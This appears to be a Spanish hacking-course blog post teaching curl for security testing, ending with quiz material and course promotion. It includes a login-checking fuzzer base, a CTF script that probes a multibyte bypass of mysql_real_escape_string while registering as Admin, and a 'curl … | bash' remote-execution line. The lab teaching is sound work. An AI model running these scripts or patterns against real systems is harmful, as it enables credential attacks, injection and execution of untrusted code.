El siguiente script se puede utilizar para verificar que un nombre de usuario y un inicio de sesión sean correctos.  Está destinado a ser una base para que construya un fuzzer adecuado para su propósito usando cURL y Bash. Verificará los caracteres de longitud de la respuesta para ver si es una respuesta válida. Deberá ajustar el recuento de caracteres esperado para su aplicación.

#!/bin/bash
result=($(curl --data "email=$2&password=$3" "$1" 2>/dev/null | wc -c))
echo $result
if [ "$result" == '0' ]
then
        echo 'zero'
else
        echo 'NOT zero'
fi

Aquí está el guión en acción:

$ ./check_user.sh http://10.10.10.10/login.php test@test.com testpassword
0
NOT zero

Automatizar la creación de usuarios y probar la omisión de mysql_real_escape_string

 Está destinado a ser una base para que construya un fuzzer adecuado usando cURL y Bash. Aquí hay un script bash que creé para un CTF para validar una teoría que tenía sobre el uso del método PHP mysql_real_escape_string:

#!/bin/bash
# Test for mysql_real_escape_string
email=test@test.com
password=1234567890123456789012345678901234567890123456789012345678901234567890123456789
fuzz="뽜’’AA"
name="‘¿’’AA"
ip="10.10.10.10"
echo "Creating User: ${email}"
curl -i -b 'cookies.txt' -c 'cookies.txt' -d "name=${name}&email=${email}&password=${password}&type=Admin" "http://${ip}/index.php" 2>/dev/null
echo " "
echo "============================================"
echo "Login as User"
echo "============================================"
curl -i -c 'cookies.txt' -d "email=${email}&password=${password}&type=Admin" "http://${ip}/index.php" 2>/dev/null  | grep 'location'
echo " "
echo "============================================"
echo "Check user profile with cookie"
echo "============================================"
curl -b 'cookies.txt' "http://${ip}/index.php" -v 2>/dev/null | grep 'td align="center"'
echo " " 
echo "============================================"
echo "Change Name"
echo "============================================"
curl -b 'cookies.txt' -d "name=${fuzz}&type=Admin" "http://${1}/index.php" 
echo " " 
curl -b 'cookies.txt' "http://${ip}/profile.php" 2>/dev/null | grep 'td align="center"'
echo " "
echo " DELETEING COOKIE "
rm cookies.txt
echo "============================================"
echo "Relogin as User - did password change?"
echo "============================================"
curl -i -c 'cookies.txt' -d "email=${email}&password=${password}&type=Admin" "http://${ip}/index.php"  2>/dev/null  | grep 'location'
echo " " 
echo " DONE!"
echo " DELETEING COOKIE "
rm cookies.txt

El comando curl tiene más opciones que puedes explorar

 curl –help

También  te recomendamos consultar las páginas man:

 man curl

Resumen del artículo sobre el comando curl en Linux

1. ¿Qué es curl y libcurl?

  • curl: Herramienta para transferir datos a través de protocolos como HTTP, FTP, IMAP, y más, diseñada para operar sin intervención del usuario.
  • libcurl: Biblioteca de transferencia de URL utilizada en segundo plano por curl para soportar una amplia gama de protocolos y sistemas operativos.

2. Instalación del comando curl

  • En la mayoría de sistemas Linux, curl viene preinstalado. Si no, puede instalarse con: sudo apt install curl
  • Para verificar la instalación: curl --version

3. Sintaxis básica de curl

  • Sintaxis general: curl [opciones] [URL]
  • Ejemplo: curl https://example.com

4. Opciones principales de curl

  • -O y -o: Descarga archivos, ya sea con su nombre original (-O) o uno especificado (-o).
  • -L: Sigue redirecciones HTTP.
  • -I: Muestra solo los encabezados HTTP de una solicitud.
  • -d: Envía datos en una solicitud POST.
  • -H: Define encabezados HTTP personalizados.
  • -b: Maneja cookies en solicitudes.
  • -u: Realiza autenticación HTTP básica.
  • –data-urlencode: Codifica datos en la URL para solicitudes HTTP POST.

5. Ejemplos prácticos del comando curl

  • Solicitudes GET: curl "https://example.com/api?query=value"
  • Solicitudes POST: curl -d "param1=value1&param2=value2" -X POST https://example.com/api
  • Manejo de cookies: curl -b cookies.txt -c newcookies.txt https://example.com
  • Descarga de archivos: curl -O https://example.com/file.zip
  • Interacción con API: curl -X GET -H "Authorization: Bearer <token>" https://api.example.com/resource

6. Uso avanzado de curl para pruebas de seguridad

  • Ejecución de scripts remotos: curl -s "http://example.com/script.sh" | bash
  • Fuzzing de servidores web:
    • Fuzzing de límites de URI o parámetros POST con curl y Bash para pruebas de seguridad.
  • Verificación de autenticación de usuarios:
    • Automatización de verificación de inicios de sesión con scripts de curl.

7. Automatización y scripting con curl en Bash

  • Scripts de Bash para realizar múltiples solicitudes curl y explorar datos en un contexto de pruebas de seguridad.
  • Ejemplos de automatización con loops y condiciones para manejar datos de salida y respuestas de autenticación.

Conclusión

curl es una herramienta potente y versátil que permite una amplia gama de operaciones de red desde la línea de comandos. Su soporte para múltiples protocolos, junto con su capacidad de integración en scripts Bash, lo hace invaluable en tareas como administración de sistemas, desarrollo web y pruebas de seguridad.

Pon en práctica lo aprendido

Ahora pon a prueba lo aprendido con estas preguntas y ejercicios.

10 Preguntas sobre el comando curl en Linux:

  1. ¿Cuál es la función principal del comando curl en Linux?
  2. ¿Qué diferencia hay entre los métodos de solicitud HTTP GET y POST cuando se usa curl?
  3. ¿Para qué sirve la opción -o en curl?
  4. ¿Cómo se usa curl para enviar cookies a un servidor web?
  5. ¿Qué hace la opción -L en curl?
  6. ¿Cómo puedes usar curl para descargar múltiples archivos de URLs similares en una sola línea?
  7. ¿Para qué se utiliza -d o --data en curl?
  8. ¿Cuál es la función de la opción -I en curl?
  9. ¿Cómo puedes obtener solo los encabezados HTTP de una URL usando curl?
  10. ¿Qué permite la opción --cookie-jar en curl?

10 Ejercicios basados en el comando curl:

  1. Usa curl para descargar el contenido de un sitio web y guárdalo en un archivo.
  2. Realiza una solicitud GET a una URL usando curl y observa el código HTML de la respuesta.
  3. Ejecuta una solicitud POST simulando el envío de un formulario en curl.
  4. Descarga un archivo de una URL específica utilizando curl y cámbiale el nombre en la descarga.
  5. Usa curl para realizar una solicitud GET con una variable en la URL (parámetro GET).
  6. Envía cookies al servidor web usando curl.
  7. Realiza una solicitud POST para iniciar sesión en un sitio usando curl con --data.
  8. Descarga un archivo de un servidor FTP usando curl.
  9. Realiza una solicitud HTTP a una API pública usando curl y obtén una respuesta en formato JSON.
  10. Usa curl para reanudar la descarga de un archivo que quedó interrumpida.

Respuestas detalladas a las preguntas:

  1. Función de curl: curl se usa para transferir datos entre un cliente y un servidor, compatible con numerosos protocolos, como HTTP, FTP y SFTP.
  2. Diferencia entre GET y POST: GET envía parámetros en la URL y es visible en la barra de direcciones; POST envía datos en el cuerpo de la solicitud y se usa en formularios y API.
  3. Opción -o en curl: Especifica el archivo donde se guardará el contenido descargado curl -o archivo.html https://example.com
  4. Enviar cookies con curl: Usa -b para especificar cookies, como en: curl -b "PHPSESSID=abcd1234" https://example.com
  5. Opción -L en curl: Permite que curl siga redirecciones hasta el destino final de la URL.
  6. Descargar múltiples archivos en una sola línea: Usa {} para especificar partes variables en la URL: curl -O https://example.com/file{1..3}.txt
  7. Función de -d o --data: Envían datos en una solicitud POST, simulando el envío de un formulario: curl -d "usuario=admin&clave=1234" https://example.com/login.php
  8. Opción -I en curl: Solicita solo los encabezados HTTP de la URL: curl -I https://example.com
  9. Obtener solo encabezados HTTP: Usa -I para obtener detalles como estado HTTP y tipo de contenido sin descargar el contenido completo.
  10. Función de --cookie-jar: Guarda las cookies generadas en una sesión en un archivo específico para reutilizarlas después.

Respuestas detalladas a los ejercicios:

  1. Descargar el contenido de un sitio web: curl -o sitio.html https://example.com Guarda el código HTML en sitio.html.
  2. Realizar una solicitud GET: curl https://example.com Muestra el contenido HTML de la URL en la terminal.
  3. Simular el envío de un formulario: curl --data "nombre=usuario&clave=password" https://example.com/login.php Envía datos simulando un formulario de inicio de sesión.
  4. Descargar y renombrar un archivo: curl -o nuevo_nombre.txt https://example.com/archivo.txt Descarga el archivo y lo guarda como nuevo_nombre.txt.
  5. Solicitud GET con variable en la URL: curl "https://example.com/page.php?id=123" Realiza la solicitud con id como parámetro GET.
  6. Enviar cookies con curl: curl -b "nombre=alvaro;edad=30" https://example.com Envía cookies como nombre y edad al servidor.
  7. Solicitud POST de inicio de sesión: curl --data "usuario=admin&clave=1234" https://example.com/login.php Usa POST para enviar datos de inicio de sesión.
  8. Descargar un archivo FTP: curl ftp://usuario:clave@ftp.example.com/archivo.zip -O Descarga el archivo archivo.zip del servidor FTP.
  9. Solicitud HTTP a una API en JSON: curl -H "Content-Type: application/json" https://api.example.com/data Realiza la solicitud y obtiene respuesta en JSON.
  10. Reanudar una descarga interrumpida: curl -C - -O https://example.com/archivo.zip Continúa descargando archivo.zip desde el punto donde quedó interrumpido.

No te detengas, sigue avanzando

Aquí tienes un propósito que debes considerar seriamente: si has querido mejorar tus habilidades en hacking, Ciberseguridad y programación ahora es definitivamente el momento de dar el siguiente paso. ¡Desarrolla tus habilidades aprovechando nuestros cursos a un precio increíble y avanza en tu carrera! El mundo necesita más hackers…

¿Te gustaría enterarte de cuando lanzamos descuentos y nuevos cursos?

Sobre los autores

Álvaro Chirou

Yo soy Álvaro Chirou, tengo más de 20 Años de experiencia trabajando en Tecnología, eh dado disertaciones en eventos internacionales como OWASP, tengo más de 1.800.000 estudiantes en Udemy y 100 formaciones profesionales impartidas en la misma. Puedes seguirme en mis redes:

Laprovittera Carlos

Soy Laprovittera Carlos. Con más de 20 años de experiencia en IT brindo Educación y Consultoría en Seguridad de la Información para profesionales, bancos y empresas. Puedes saber más de mi y de mis servicios en mi sitio web: laprovittera.com y seguirme en mis redes:

Hacker de 0 a 100 desde las bases hasta conseguir empleo

¿Quieres iniciarte en hacking y ciberseguridad pero no sabes por dónde empezar? Inicia leyendo nuestra guia gratuita: https://achirou.com/hacker-de-0-a-100-desde-las-bases-hasta-conseguir-empleo/ que te lleva de 0 a 100. Desde los fundamentos más básicos, pasando por cursos, recursos y certificaciones hasta cómo obtener tu primer empleo.

Hemos creado una ruta de 0 a 100. Un plan de desarrollo que va desde las bases: cómo aprender hacking, qué aprender, en qué orden; pasando por las areas técnicas necesarias como Linux, Redes, Programación y los conocimientos necesarios en ciber seguridad, hacking, pentesting hasta la práctica y el inicio laboral: Crear tu propio laboratorio, certificaciones, adquirir experiencia e iniciarse laboralmente.

Este es un mega post. Una guía con más de 250 artículos que te llevaran por el camino del hacker. Esta guía es gratuita y esta creada gracias al esfuerzo y al trabajo combinado de Alvaro Chirou y mío (Laprovittera Carlos).

Creamos esta guía (futuro curso) para que puedas iniciarte en este mundo. Puedes arrancar ahora, GRATIS, solo necesitas un PC, conexión a internet y paciencia (Ser hacker NO ES un camino de la noche a la mañana).

El Hacking y la ciberseguridad es una carrera divertida, emocionante y gratificante que te recompensará y desafiará por igual. Sin embargo, para quienes buscan adentrarse en este campo en auge y en constante evolución, puede resultar difícil saber por dónde empezar. ¡Ahí es donde entra en juego nuestra guía en ciberseguridad!

Esta es la hoja de ruta hacia el trabajo de ciberseguridad de tus sueños. Te ayudará a entender qué conocimientos, habilidades y certificados son necesarios para alcanzar tus metas profesionales y tener una carrera próspera. Si quieres ser consultor de ciberseguridad, analista de malware, evaluador de penetración, analista de SOC o cualquier otro puesto de ciberseguridad, esta guía es lo que necesitas.

SIGUE APRENDIENDO GRATIS CON NUESTRAS GUIAS

Aprende con nuestros más de 100 cursos que tenemos disponibles para vos

Compartimos estos recursos para ayudar a la comunidad de hacking y ciberseguridad. COMPARTE y Siéntete libre de agregar más sugerencias en los comentarios a continuación, respondemos todos y cada uno de los comentarios.

Saludos amigos y happy hacking!!!